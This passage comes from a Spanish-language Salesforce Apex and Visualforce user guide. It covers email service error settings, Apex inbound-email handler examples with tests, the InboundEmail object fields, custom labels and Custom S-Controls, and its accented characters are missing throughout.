9. Tambin puede configurar este servicio de correo electrnico para aceptar nicamente mensajes de algunos remitentes, incluyendo
sus direcciones y dominios de correo electrnico en el cuadro de texto Aceptar correo electrnico de. Separe las
diferentes entradas con comas. Por ejemplo: george@miempresa.com, yahoo.com, gmail.com. Si el cuadro de texto Aceptar
correo electrnico de tiene un valor y el servicio de correo electrnico recibe un mensaje de una direccin o dominio
de correo electrnico no incluida en la lista, el servicio de correo electrnico ejecuta la accin especificada en la configuracin de
respuesta de error Accin de remitente no autorizado.
Deje este campo en blanco si desea que el servicio de correo electrnico reciba un correo electrnico de cualquier direccin de
correo electrnico.
Nota: Tambin puede autorizar direcciones de correo electrnico y dominios en el nivel de direccin del servicio de correo
electrnico. Consulte Definicin de direcciones de servicio de correo electrnico en la pgina 99.
Si tanto el servicio como la direccin de correo electrnico estn configuradas para aceptar nicamente mensajes de algunos
remitentes, el servicio de correo electrnico slo procesa mensajes de remitentes incluidos en los cuadros de texto Aceptar
correo electrnico de en el servicio de correo electrnico y las direcciones de servicio de correo electrnico.
10. Active la casilla de verificacin Activo si desea activar el servicio de correo electrnico cuando haga clic en Guardar.
11. Defina la configuracin de respuesta de error, que determina cmo responder el servicio de correo electrnico si un falla intento
de acceder al servicio por las siguientes razones:
Accin sobre lmite de correo electrnico

Determina lo que el servicio de correo electrnico hace con los mensaje si el nmero total de mensajes procesados por todos
los servicios de correo electrnico combinados ha alcanzado el lmite diario de su organizacin. Salesforce calcula el lmite
multiplicando el nmero de licencias por 1.000, hasta un mximo diario de 1.000.000. Por ejemplo, si tiene 10 licencias, su
organizacin puede procesar hasta 10.000 correos electrnicos cada da.
Accin de direccin de correo electrnico desactivada

Determina lo que el servicio de correo electrnico hace con los mensajes recibidos en una direccin de correo electrnica no
activada.
Accin de servicio de correo electrnico desactivado

Determina lo que el servicio de correo electrnico hace con los mensajes que recibe si el servicio est desactivado.
Accin de remitente no autenticado

Determina lo que el servicio de correo electrnico hace con los mensajes que incumplen o no cumplen cualquiera de los
protocolos de autenticacin si se activa la casilla de verificacin Autenticar remitentes.
Accin de remitente no autorizado

Determina lo que el servicio de correo electrnico hace con los mensajes recibidos de remitentes no incluidos en el cuadro de
texto Aceptar correo electrnico de en el servicio o direcciones de correo electrnico.
Las opciones de respuesta de error son:
Reenviar mensaje
El servicio de correo electrnico devuelve el mensaje al remitente o al Usuario de caso automtico para Correo
electrnico para registro de casos On-Demand, junto con una notificacin que describe la razn por la que se rechaz el mensaje.
Descartar mensaje
El servicio de correo electrnico elimina el mensaje sin notificar al remitente.
Volver a poner el mensaje en cola (Accin sobre lmite de correo electrnico nicamente)
El servicio de correo electrnico pone el mensaje en cola y lo procesar en las siguientes 24 horas. Si el mensaje no se procesa
en las siguientes 24 horas, el servicio de correo electrnico devuelve el mensaje al remitente con una notificacin que explica
los motivos por los que el mensaje se ha rechazado.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 103

12. Para enviar mensajes de correo electrnico de error a una direccin especificada en lugar de a la direccin de correo electrnico del
remitente, seleccione Activar enrutamiento de error y especifique la direccin de correo electrnico de destino en
Enrutar correos electrnicos de error a esta direccin de correo electrnico. Esto evita
que se notifique al remitente si los servicios de correo electrnico no pueden procesar un correo electrnico entrante.
13. Haga clic en Guardar para guardar sus cambios, o en Guardar y crear una nueva direccin de correo electrnico para crear
una nueva direccin de correo electrnico para este servicio, tal y como se describe en Definicin de direcciones de servicio de
correo electrnico en la pgina 99.
CONSULTE TAMBIN
Definicin de direcciones de servicio de correo electrnico
Qu son los servicios de correo electrnico?

Uso del objeto InboundEmail


Para cada correo electrnico que recibe el dominio de servicio de correo electrnico de Apex,
Salesforce crea un objeto InboundEmail distinto con el contenido y archivos adjuntos de ese correo
electrnico. Puede utilizar las clases de Apex que implementan la interfaz
Messaging.InboundEmailHandler para gestionar un mensaje de correo electrnico
entrante. Mediante el mtodo handleInboundEmail en esa clase, puede acceder a un objeto
InboundEmail para recuperar los contenidos, encabezados y archivos adjuntos de los mensajes de
correo electrnico entrantes, as como para realizar muchas funciones.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition

Nota: Si desea informacin sobre el servicio de correo electrnico de Apex, consulte Qu


son los servicios de correo electrnico? en la pgina 98.

Ejemplo 1: Crear tareas para contactos


A continuacin se muestra un ejemplo de cmo buscar un contacto a partir de la direccin de correo electrnico entrante y cmo crear
una nueva tarea.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){
// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
String myPlainText= '';
// Add the email plain text into the local variable
myPlainText = email.plainTextBody;
// New Task object to be created
Task[] newTask = new Task[0];
// Try to look up any contacts based on the email from address
// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 104

Contact vCon = [SELECT Id, Name, Email


FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];
// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));
// Insert the new Task
insert newTask;
System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
// Return the result for the Apex Email Service
return result;
}
}

Ejemplo 2: Gestionar correo electrnico para no suscribir


Las empresas que envan mensajes de correo electrnico a sus clientes y clientes potenciales necesitan proporcionar una manera para
que los destinatarios puedan no suscribirse. En el ejemplo siguiente se muestra cmo un servicio de correo electrnico puede procesar
solicitudes de no suscripcin. El cdigo busca en la lnea de asunto del mensaje de correo electrnico entrante la expresin no suscribir.
Si se encuentra esa expresin, el cdigo busca todos los contactos y candidatos que coinciden con la direccin del remitente del correo
electrnico y establece el campo No recibir correos electrnicos (HasOptedOutOfEmail) como Verdadero.
Global class unsubscribe implements Messaging.inboundEmailHandler{
Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,
Messaging.InboundEnvelope env ) {
// Create an inboundEmailResult object for returning
// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
// Create contact and lead lists to hold all the updated records.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 105

List<Contact> lc = new List <contact>();


List<Lead> ll = new List <lead>();
// Convert the subject line to lower case so the program can match on lower case.
String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';
// Check the variable to see if the word "unsubscribe" was found in the subject
line.
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);
// If unsubscribe is found in the subject line, enter the IF statement.
if (unsubMe == true) {
try {
// Look up all contacts with a matching email address.
for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Contact
WHERE Email = :env.fromAddress
AND hasOptedOutOfEmail = false
LIMIT 100]) {
// Add all the matching contacts into the list.
c.hasOptedOutOfEmail = true;
lc.add(c);
}
// Update all of the contact records.
update lc;
}
catch (System.QueryException e) {
System.debug('Contact Query Issue: ' + e);
}
try {
// Look up all leads matching the email address.
for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
LIMIT 100]) {
// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);
System.debug('Lead Object: ' + l);

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 106

}
// Update all lead records in the query.
update ll;
}
catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}
System.debug('Found the unsubscribe word in the subject line.');
}
else {
System.debug('No Unsuscribe word found in the subject line.' );
}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;
}
}
@isTest
private class unsubscribeTest {
// The following test methods provide adequate code coverage
// for the unsubscribe email class.
// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe() {
// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env
= new Messaging.InboundEnvelope();
// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='John',
lastName='Smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;
// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;
// Test with the subject that matches the unsubscribe statement.
email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 107

// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}
static testMethod void testUnsubscribe2() {
// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();
// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='john',
lastName='smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;
// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;
// Test with a subject that does not contain "unsubscribe."
email.subject = 'test';
env.fromAddress = 'user@acme.com';
// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}
}

Objeto InboundEmail
Los objetos InboundEmail tienen los siguientes campos.
Nombre

Tipo

Descripcin

binaryAttachments

InboundEmail.BinaryAttachment[]

Lista de archivos adjuntos binarios recibidos con el correo


electrnico, si los hay.
Ejemplos de archivos adjuntos binarios son los archivos de
imagen, audio, aplicaciones y vdeo.

ccAddresses

Cadena[]

Lista de direcciones para copia (Cc), si las hay.

fromAddress

Cadena

Direccin de correo electrnico que aparece en el campo


De.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 108

Nombre

Tipo

Descripcin

fromName

Cadena

Nombre que aparece en el campo De, si lo hay.

headers

InboundEmail.Header[]

Lista de los encabezados RFC 2822 del correo electrnico,


incluyendo:
Recibido de
Encabezados personalizados
Id. de mensaje
Fecha

htmlBody

Cadena

Versin HTML del correo electrnico, si lo especifica el


remitente.

htmlBodyIsTruncated

Booleano

Indica si el texto del cuerpo HTML est truncado


(verdadero) o no (falso).

inReplyTo

Cadena

El campo In-Reply-To del correo electrnico entrante.


Identifica el correo electrnico al que ste est
respondiendo (correo electrnico principal). Contiene el
correo electrnico principal o los Id. de mensaje de los
correos electrnicos.

messageId

Cadena

El Id. del mensaje: el identificador exclusivo del mensaje


de correo electrnico entrante.

plainTextBody

Cadena

Versin de texto plano del correo electrnico, si lo


especifica el remitente.

plainTextBodyIsTruncated Booleano

Indica si el texto del cuerpo normal est truncado


(verdadero) o no (falso).

references

Cadena[]

El campo de referencias del correo electrnico entrante.


Identifica una cadena de correos electrnicos. Contiene
una lista de referencias e Id. de mensajes de correos
electrnicos principales, as como probablemente los
campos In-Reply-To.

replyTo

Cadena

Direccin de correo electrnico que aparece en el


encabezado de remitente.
Si no hay encabezado de remitente, este campo ser
idntico al campo fromAddress.

subject

Cadena

Lnea de asunto del correo electrnico, si la hay.

textAttachments

InboundEmail.TextAttachment[]

Lista de archivos adjuntos de texto recibidos con el correo


electrnico, si los hay.
Los archivos adjuntos de texto pueden ser cualquiera de
los siguientes:
Archivos adjuntos con text tipo MIME (Extensin
de correo de Internet multipropsito).

Mejora de Salesforce mediante cdigo

Nombre

Gua del usuario | Apex y Visualforce | 109

Tipo

Descripcin
Archivos adjuntos con
application/octet-stream tipo MIME y un
nombre de archivo que termina con una extensin
.vcf o .vcs. Se guardan como tipo MIME
text/x-vcard y text/calendar,
respectivamente.

toAddresses

Cadena[]

Direccin de correo electrnico que aparece en el campo


Para.

Objeto InboundEmail.Header
Los objetos InboundEmailHeader almacenan informacin de encabezado de correo electrnico RFC 2822 en un objeto
InboundEmail.Header con los siguientes campos.
Nombre

Tipo

Descripcin

name

Cadena

Nombre del parmetro del encabezado como Fecha o Id. mensaje.

value

Cadena

Valor del encabezado.

Objeto InboundEmail.BinaryAttachment
Un objeto InboundEmail almacena archivos adjuntos binarios en un objeto InboundEmail.BinaryAttachment.
Ejemplos de archivos adjuntos binarios son los archivos de imagen, audio, aplicaciones y vdeo.
Un objeto InboundEmail.BinaryAttachment que tiene los siguientes objetos.
Nombre

Tipo

Descripcin

body

Blob

Cuerpo del archivo adjunto.

fileName

Cadena

Nombre del archivo adjunto.

mimeTypeSubType

Cadena

Tipo primario y secundario de MIME.

Objeto InboundEmail.TextAttachment
Un objeto InboundEmail almacena archivos adjuntos de texto en un objeto InboundEmail.TextAttachment.
Los archivos adjuntos de texto pueden ser cualquiera de los siguientes:
Archivos adjuntos con text tipo MIME (Extensin de correo de Internet multipropsito).
Archivos adjuntos con application/octet-stream tipo MIME y un nombre de archivo que termina con una extensin
.vcf o .vcs. Se guardan como tipo MIME text/x-vcard y text/calendar, respectivamente.
Un objeto InboundEmail.TextAttachment que tiene los siguientes campos.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 110

Nombre

Tipo

Descripcin

body

Cadena

Cuerpo del archivo adjunto.

bodyIsTruncated

Booleano

Indica si el texto del cuerpo del archivo adjunto est truncado (verdadero) o
no (falso).

charset

Cadena

Conjunto original de caracteres del campo de cuerpo. El cuerpo vuelve a codificarse


como UTF-8 como entrada en el mtodo Apex.

fileName

Cadena

Nombre del archivo adjunto.

mimeTypeSubType

Cadena

Tipo primario y secundario de MIME.

Objeto InboundEmailResult
El objeto InboundEmailResult se utiliza para devolver el resultado del servicio del correo electrnico. Si el objeto es nulo, se asume que
el resultado es correcto. El objeto InboundEmailResult tiene los siguientes campos.
Nombre

Tipo

Descripcin

success

Booleano

Valor que indica si el correo electrnico se ha procesado correctamente.


Si es falso, Salesforce rechaza el correo electrnico entrante y enva un mensaje
de correo de respuesta al remitente original que contiene el mensaje especificado
en el campo Message.

message

Cadena

Un mensaje que Salesforce devuelve en el cuerpo de un correo electrnico de


respuesta. Este campo puede estar cumplimentado con texto independientemente
del valor devuelto por el campo Success.

Objeto InboundEnvelope
El objeto InboundEnvelope guarda el informacin del sobre asociada con el correo electrnico entrante y contiene los siguientes campos.
Nombre

Tipo

Descripcin

toAddress

Cadena

Nombre que aparece en el campo A del sobre, si lo hay.

fromAddress

Cadena

Nombre que aparece en el campo De del sobre, si lo hay.

CONSULTE TAMBIN
Qu son los servicios de correo electrnico?
Descripcin general del cdigo Apex

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 111

Etiquetas personalizadas
Descripcin general de etiquetas personalizadas
Las etiquetas personalizadas son valores de texto personalizado a los que se puede acceder desde
las clases de Apex o las pginas de Visualforce. Los valores se pueden traducir a cualquier idioma
compatible con Salesforce. Las etiquetas personalizadas permiten a los desarrolladores crear
aplicaciones multilinges, que presentan la informacin automticamente (texto de la ayuda o
mensajes de error, por ejemplo) en el idioma del usuario.

EDICIONES

Puede crear hasta 5.000 etiquetas personalizadas para su organizacin, y cada una de ellas puede
tener una longitud de hasta 1.000 caracteres.

Disponible en: Developer


Edition, Professional
Edition, Enterprise Edition,
Performance Edition y
Unlimited Edition

Para acceder a las etiquetas personalizadas, desde Configuracin, haga clic en Crear > Etiquetas
personalizadas. Desde esta pgina, puede:

PERMISOS DE USUARIO

Crear una nueva etiqueta personalizada o modificar una etiqueta personalizada existente.
Visualizar una etiqueta personalizada existente. Desde la pgina de visualizacin, puede crear
o modificar una traduccin en un idioma utilizado por su organizacin.
Para agregar una etiqueta personalizada a su aplicacin, realice los pasos siguientes:
1. Cree una nueva etiqueta personalizada.
2. Traduzca el valor de la nueva etiqueta a un idioma compatible con su aplicacin.
3. Active la etiqueta mediante una clase de Apex o una pgina de Visualforce. Las etiquetas
personalizadas se activan en Apex utilizando System.Label.Nombre_etiqueta. Para
Visualforce, use la variable global $Label.
4. Incluya la etiqueta en su aplicacin cuando la empaquete en AppExchange.
Consejo: Si una clase de Apex o una pgina de Visualforce hace referencia a una etiqueta
personalizada y esa etiqueta tiene traducciones, debe empaquetar de forma explcita los
idiomas individuales que desee con el fin de que esas traducciones se incluyan en el
paquete.

CONSULTE TAMBIN
Creacin y modificacin de etiquetas personalizadas

Para crear, modificar o


eliminar etiquetas
personalizadas:
Personalizar aplicacin
Para crear o sustituir una
traduccin:
Gestionar traduccin
O
Ver parmetros y
configuracin y estar
designado como
traductor

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 112

Creacin y modificacin de etiquetas personalizadas


Para crear o modificar una nueva etiqueta personalizada:
1. Desde Configuracin, en Crear > Etiquetas personalizadas, haga clic en Nueva etiqueta
personalizada para crear una nueva etiqueta, o haga clic en Modificar junto a la etiqueta
personalizada que desee modificar.
2. En el cuadro de texto Descripcin breve, introduzca un trmino fcilmente reconocible para
identificar esta etiqueta personalizada. Esta descripcin se utiliza en los campos de combinacin.

EDICIONES
Disponible en: Developer
Edition, Professional
Edition, Enterprise Edition,
Performance Edition y
Unlimited Edition

Nota: No puede modificar el idioma de una etiqueta personalizada existente.


3. Si crea una nueva etiqueta personalizada, en el cuadro de texto Nombre, introduzca el nombre
que utilizar la etiqueta. Este valor se utiliza en las pginas de Apex y Visualforce para hacer
referencia a la etiqueta personalizada. Los nombres deben contener nicamente caracteres
alfanumricos, comenzar con una letra, no pueden contener espacios o guiones dobles y ser
nicos en su organizacin.
4. Active la casilla Componente protegido para marcar la etiqueta personalizada como
protegida.
5. En el cuadro de texto Categoras, introduzca el texto para clasificar la etiqueta. Este campo
puede utilizarse en criterios de filtro al crear vistas de lista de etiquetas personalizadas. Separe
cada categora con una coma. El nmero total de caracteres permitidos en el cuadro de texto
Categoras es 255.
6. En el cuadro de texto Valor, puede introducir hasta 1.000 caracteres. Este valor se puede traducir
a cualquier idioma compatible con Salesforce.
Nota: Pueden pasar varias horas hasta que todos los usuarios vean los cambios que
realice en este campo.
7. Haga clic en Guardar.
CONSULTE TAMBIN
Creacin y modificacin de traducciones de etiquetas personalizadas
Descripcin general de etiquetas personalizadas

PERMISOS DE USUARIO
Para crear, modificar o
eliminar etiquetas
personalizadas:
Personalizar aplicacin
Para crear o sustituir una
traduccin:
Gestionar traduccin
O
Ver parmetros y
configuracin y estar
designado como
traductor

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 113

Creacin y modificacin de traducciones de etiquetas personalizadas


Para crear o modificar etiquetas personalizadas:

EDICIONES

1. En Configuracin, haga clic en Crear > Etiquetas personalizadas.


2. Seleccione el nombre de la etiqueta personalizada para abrir la etiqueta.
3. En la lista relacionada Traducciones, haga clic en Nuevo para introducir una nueva traduccin
o en Modificar junto al idioma para cambiar una traduccin. Si hace clic en Eliminar, Salesforce
confirma que desea eliminar, y eliminar el formulario de traduccin de la etiqueta personalizada.

Disponible en: Developer


Edition, Professional
Edition, Enterprise Edition,
Performance Edition y
Unlimited Edition

4. Seleccione el Idioma hacia el que est traduciendo.


5. Introduzca el Texto de traduccin. Este texto sustituye el valor especificado en el
campo de la etiqueta Valor cuando el idioma predeterminado de un usuario est es el idioma
de traduccin.
6. Haga clic en Guardar.
CONSULTE TAMBIN
Creacin y modificacin de etiquetas personalizadas
Descripcin general de etiquetas personalizadas

PERMISOS DE USUARIO
Para crear, modificar o
eliminar etiquetas
personalizadas:
Personalizar aplicacin
Para crear o sustituir una
traduccin:
Gestionar traduccin
O
Ver parmetros y
configuracin y estar
designado como
traductor

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 114

Visualizacin de etiquetas personalizadas


Despus de crear una etiqueta personalizada, podr:

EDICIONES

Modificar la etiqueta personalizada.


Nota: No puede modificar los atributos de etiquetas personalizadas instaladas como
parte de un paquete gestionado. Slo puede sustituir las traducciones existentes o
proporcionar nuevas traducciones de idiomas no incluidos en el paquete.
Eliminar una etiqueta personalizada.
Nota: No puede eliminar etiquetas personalizadas instaladas como parte de un paquete
gestionado o que se incluyan en la referencia de Apex o de una pgina de Visualforce.
Slo puede sustituir las traducciones existentes.
Cree o modifique una traduccin.
CONSULTE TAMBIN
Creacin y modificacin de etiquetas personalizadas
Descripcin general de etiquetas personalizadas

Disponible en: Developer


Edition, Professional
Edition, Enterprise Edition,
Performance Edition y
Unlimited Edition

PERMISOS DE USUARIO
Para crear, modificar o
eliminar etiquetas
personalizadas:
Personalizar aplicacin
Para crear o sustituir una
traduccin:
Gestionar traduccin
O
Ver parmetros y
configuracin y estar
designado como
traductor

Custom S-Control
Definicin de Custom S-Control
Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones
que no hayan usado anteriormente S-Control no podrn crearlos. Los S-Control existentes
no se vern afectados y todava podrn modificarse.
La biblioteca de Custom S-Control es un lugar donde puede almacenar y actualizar el contenido
para utilizar en muchas reas dentro de Salesforce como vnculos personalizados, fichas Web,
botones personalizados y paneles. S-Control ofrece una forma flexible y abierta para ampliar la
interfaz de usuario de Salesforce, incluida la capacidad para crear y mostrar formularios de datos
personalizados propios.
Un S-Control puede incluir cualquier tipo de contenido que se pueda mostrar o ejecutar en un
explorador, por ejemplo, un applet de Java, un control de ActiveX, un archivo de Excel o un formulario
Web HTML personalizado.
1. Desde Configuracin, haga clic en Desarrollo > S-Controls.
2. Para crear un nuevo custom s-control, haga clic en Nuevo Custom S-Control.
3. Para cambiar un S-Control existente, haga clic en Modificar.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control:
Personalizar aplicacin

4. Introduzca atributos de s-control.


5. Para validar todas las funciones y los campos de combinacin de Salesforce, haga clic en Comprobar sintaxis.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 115

6. Haga clic en Guardar cuando haya finalizado o haga clic en Guardar rpido para guardar y continuar modificando.
7. Cree un botn o vnculo personalizado para mostrar el Custom S-Control a los usuarios. De forma alternativa, cree una ficha Web
mediante el Custom S-Control, agregue el S-Control a un formato de pgina o agregue el S-Control a un panel. Tambin puede
utilizar un S-Control como contenido de ayuda en lnea para un objeto personalizado.
CONSULTE TAMBIN
Visualizacin y modificacin de S-Control

Visualizacin y modificacin de S-Control


Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones
que no hayan usado anteriormente S-Control no podrn crearlos. Los S-Control existentes
no se vern afectados y todava podrn modificarse.
Para ver los detalles de un Custom S-Control, desde Configuracin, haga clic en Desarrollo >
S-Controls y seleccione el nombre de S-Control.
Para realizar cambios en un S-Control, haga clic en Modificar.
Para eliminar un S-Control, haga clic en Eliminar.
Para ver una lista de otros componentes de Salesforce que hacen referencia a un S-Control,
haga clic en Dnde se utiliza?.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control:
Personalizar aplicacin

Atributos de Custom S-Control


Nombre de
atributo

Descripcin

Etiqueta

Texto que se muestra en los formatos de pgina para S-Control incrustado.

Nombre de
S-Control

Nombre nico para S-Control. Este nombre slo puede incluir guiones
bajos y caracteres alfanumricos y debe ser exclusivo de su organizacin.
Debe comenzar por una letra, no terminar con un guin bajo y no contener
espacios ni dos guiones bajos consecutivos.

Tipo

Determina cmo piensa utilizar el s-Control.


HTML
Seleccione esta opcin si desea introducir el contenido de su S-Control
en el rea Contenido.
URL
Seleccione esta opcin si desea introducir el vnculo o URL de un sitio
Web externo en el rea Contenido.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

Mejora de Salesforce mediante cdigo

Nombre de atributo

Gua del usuario | Apex y Visualforce | 116

Descripcin
Miniprograma
Los miniprogramas son S-Control diseados para incluirse en otros S-Control. Seleccione esta opcin
si desea introducir el contenido de su miniprograma de S-Control en el rea Contenido.

Descripcin

Texto que describe el S-Control. Esto slo se muestra para los administradores.

Contenido

Introduzca el contenido o fuente de su S-Control. Puede introducir hasta 1 milln de caracteres. El


cdigo HTML define con exactitud cmo vern los usuarios el Custom S-Control.
Si est generando una frmula en la ficha Frmula avanzada o para aprobaciones o reglas, como
flujo de trabajo, validacin, asignacin, respuesta automtica o distribucin, haga clic en Insertar
campo, seleccione un campo y haga clic en Insertar.
Para crear una frmula bsica que pase datos especficos de Salesforce, seleccione la ficha Frmula
simple, elija el tipo de campo en la lista desplegable Seleccionar tipo de campo y
seleccione uno de los campos enumerados en la lista desplegable Insertar campo.
Consejo: Cree frmulas de objeto cruzado que abarcan hasta objetos relacionados y hacen
referencia a campos de combinacin en dichos objetos.
Para insertar un operador, seleccione el icono del operador adecuado de la lista desplegable
Insertar Operador.
Para insertar una funcin, haga doble clic sobre su nombre en la lista o seleccinela y haga clic en
Insertar funcin seleccionada. Para filtrar la lista de funciones, seleccione una categora de la
lista desplegable Funciones. Seleccione una funcin y haga clic en Ayuda sobre esta funcin
para visualizar una descripcin y ejemplos de frmulas que utilicen esa funcin.
Para hacer referencia a un archivo que haya cargado en el campo Nombre de archivo como
parte del Custom S-Control, seleccione Custom S-Control de la lista desplegable Seleccionar
tipo de campo y seleccione URL de Custom S-Control para obtener el campo de combinacin.
Para un applet de Java, tambin puede utilizar los campos de combinacin
{!Scontrol_JavaCodebase} y {!Scontrol_JavaArchive}.
Para insertar campos de conexin de actividades, seleccione Evento o Tarea en
Seleccionar tipo de campo.
Consejo: Las normas de Internet requieren codificacin especial para URL.Salesforce codifica
automticamente el texto de cualquier campo de combinacin que inserte en un vnculo.
Codifique cualquier texto adicional que vincule manualmente. Por ejemplo, para generar la URL
siguiente:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Utilice el contenido siguiente:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce elimina automticamente las dobles comillas de las URL si el Origen del
contenido es URL. Si necesita aadir comillas dobles, hgalo manualmente. Por ejemplo,
para generar la URL
http://www.google.com/search?q="salesforce+foundation", utilice
este contenido:
http://www.google.com/search?q=%22salesforce+foundation%22.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 117

Nombre de atributo

Descripcin

Nombre de archivo

Carga el archivo que se mostrar cuando se agregue este S-Control a un vnculo personalizado. El
archivo puede contener un applet de Java, un control ActiveX o cualquier otro tipo de contenido. Esta
opcin slo se aplica a S-Control de HTML.

Incorporar
previamente en la
pgina

Esta opcin mantiene el S-Control en memoria, que puede mejorar el rendimiento cuando la pgina
se recargue porque el S-Control no se tiene que recargar tambin. Esta opcin slo se aplica a S-Control
de HTML.

Codificacin

La configuracin de codificacin predeterminada es Unicode (UTF-8). Cmbiela si est transmitiendo


informacin a una direccin URL que requiere datos en un formato diferente. Esta opcin est disponible
cuando selecciona URL para el Tipo.

Eliminacin de Custom S-Control


Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones
que no hayan usado anteriormente S-Control no podrn crearlos. Los S-Control existentes
no se vern afectados y todava podrn modificarse.
Para eliminar un Custom S-Control:
1. En primer lugar, asegrese de que otros componentes no estn utilizando el S-Control: desde
Configuracin, haga clic en Desarrollo > S-Controls, seleccione el S-Control y, a continuacin,
haga clic en Dnde se utiliza?.
2. Haga clic en S-Controls de nuevo.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

3. Haga clic en Eliminar junto al Custom S-Control que desea eliminar.


4. Haga clic en Aceptar para confirmar.
Nota: No puede eliminar un Custom S-Control que se est utilizando en otro lugar en
Salesforce. Los S-Control eliminados no van a la papelera.

PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control:
Personalizar aplicacin

Campos de combinacin para S-Controls


Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones
que no han utilizado anteriormente los S-Control no pueden crearlos. Los S-Control existentes
no se vern afectados y todava podrn modificarse.
Un campo de combinacin es un acampo puede ubicar en una plantilla de correo electrnico, una
plantilla de combinacin de correo, un vnculo personalizado o una frmula para incorporar los
valores a partir de un registro.
Como los S-Control son la fuente del contenido de ayuda a nivel de objeto, puede utilizar campos
de combinacin u otras funciones para personalizar la ayuda. Por ejemplo, puede disear la ayuda
personalizada para dirigirse directamente al usuario, agregando el nombre del usuario para cuando
se abra la pgina de ayuda.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 118

Sugerencias
Para hacer referencia a un archivo que haya cargado en el campo Nombre de archivo como parte del Custom S-Control,
seleccione "Custom S-Control" de la lista desplegable Seleccionar tipo de campo y seleccione URL de Custom S-Control para
obtener el campo de combinacin. Para un applet de Java, tambin puede utilizar los campos de combinacin
{!Scontrol_JavaCodebase} y {!Scontrol_JavaArchive}.
